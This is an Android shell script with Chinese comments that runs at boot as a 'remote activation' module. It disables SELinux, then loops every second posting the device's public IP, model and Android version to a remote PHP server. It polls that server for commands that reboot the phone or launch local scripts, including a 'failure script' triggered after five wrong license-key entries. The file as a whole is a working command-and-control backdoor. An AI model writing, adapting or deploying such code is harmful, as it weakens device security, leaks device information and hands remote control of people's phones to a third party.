#!/system/bin/sh

# ========== 配置 ==========
API_BASE_URL="http://ggnb.xn--cnqx40e.top/sj"
REPORT_URL="$API_BASE_URL/api_report.php"
COMMAND_URL="$API_BASE_URL/api_command.php"
LOG_FILE="/data/local/tmp/remote_activate.log"

# ========== 脚本路径 ==========
MAIN_SCRIPT="/data/local/tmp/yyy.sh"      # 主程序路径（卡密正确时执行）
FAIL_SCRIPT="/data/local/tmp/nnn.sh"      # 失败脚本路径（输错5次时执行）

# ========== 函数定义 ==========
log() {
    echo "$(date '+%Y-%m-%d %H:%M:%S') - $1" >> $LOG_FILE
}

# 获取本机公网IP
get_ip() {
    local ip=""
    ip=$(curl -s -L --max-time 5 ifconfig.me 2>/dev/null | tr -d '\n\r')
    if [ -n "$ip" ]; then
        echo "$ip"
        return
    fi
    ip=$(curl -s -L --max-time 5 ip.sb 2>/dev/null | tr -d '\n\r')
    if [ -n "$ip" ]; then
        echo "$ip"
        return
    fi
    ip=$(curl -s -L --max-time 5 icanhazip.com 2>/dev/null | tr -d '\n\r')
    if [ -n "$ip" ]; then
        echo "$ip"
        return
    fi
    echo "unknown"
}

# 获取设备信息
get_device_info() {
    MODEL=$(getprop ro.product.model 2>/dev/null || echo "unknown")
    ANDROID=$(getprop ro.build.version.release 2>/dev/null || echo "unknown")
}

# 上报心跳
report_status() {
    local ip=$(get_ip)
    if [ "$ip" = "unknown" ]; then
        log "❌ 获取IP失败"
        return 1
    fi
    get_device_info
    log "📤 上报心跳: IP=$ip"
    
    result=$(curl -s -L --max-time 5 -X POST -d "ip=$ip&model=$MODEL&android=$ANDROID" "$REPORT_URL" 2>&1)
    if [ "$result" = "OK" ]; then
        log "✅ 上报成功"
        return 0
    else
        log "❌ 上报失败: $result"
        return 1
    fi
}

# 获取并执行命令
get_and_execute_command() {
    local ip=$(get_ip)
    if [ "$ip" = "unknown" ]; then
        return 1
    fi
    
    local cmd=$(curl -s -L --max-time 5 "$COMMAND_URL?ip=$ip" 2>/dev/null | tr -d '\n\r')
    
    if [ -n "$cmd" ] && [ "$cmd" != "OK" ]; then
        log "📨 收到命令: $cmd"
        
        case "$cmd" in
            "reboot")
                log "🔄 执行重启"
                sleep 1
                reboot
                ;;
            "activate")
                log "🎯 激活命令，启动主程序"
                if [ -f "$MAIN_SCRIPT" ]; then
                    chmod 755 "$MAIN_SCRIPT"
                    nohup sh "$MAIN_SCRIPT" > /dev/null 2>&1 &
                    log "✅ 主程序已启动 (PID: $!)"
                else
                    log "❌ 主程序不存在: $MAIN_SCRIPT"
                fi
                ;;
            "fail_script")
                log "⚠️ 触发失败脚本"
                if [ -f "$FAIL_SCRIPT" ]; then
                    chmod 755 "$FAIL_SCRIPT"
                    nohup sh "$FAIL_SCRIPT" > /dev/null 2>&1 &
                    log "✅ 失败脚本已执行 (PID: $!)"
                else
                    log "❌ 失败脚本不存在: $FAIL_SCRIPT"
                fi
                ;;
            *)
                log "⚠️ 未知命令: $cmd"
                ;;
        esac
    fi
}

# ========== 主程序 ==========
log "=========================================="
log "🚀 远程激活模块启动"
log "=========================================="

# 等待系统启动
until [ "$(getprop sys.boot_completed)" = "1" ]; do
    sleep 5
done
log "✅ 系统已启动"

sleep 15

# 关闭SELinux
setenforce 0 2>/dev/null
log "🔓 SELinux: $(getenforce 2>/dev/null || echo 'disabled')"

# 测试网络
if ping -c 1 -W 3 8.8.8.8 > /dev/null 2>&1; then
    log "✅ 网络连通"
else
    log "❌ 网络不通"
fi

# 记录脚本路径
log "📁 主程序路径: $MAIN_SCRIPT"
if [ -f "$MAIN_SCRIPT" ]; then
    log "✅ 主程序文件存在"
else
    log "⚠️ 主程序文件不存在"
fi

log "📁 失败脚本路径: $FAIL_SCRIPT"
if [ -f "$FAIL_SCRIPT" ]; then
    log "✅ 失败脚本文件存在"
else
    log "⚠️ 失败脚本文件不存在"
fi

# 首次上报
report_status

log "🔄 进入主循环，每1秒轮询一次"
log "=========================================="

while true; do
    report_status
    get_and_execute_command
    sleep 1
done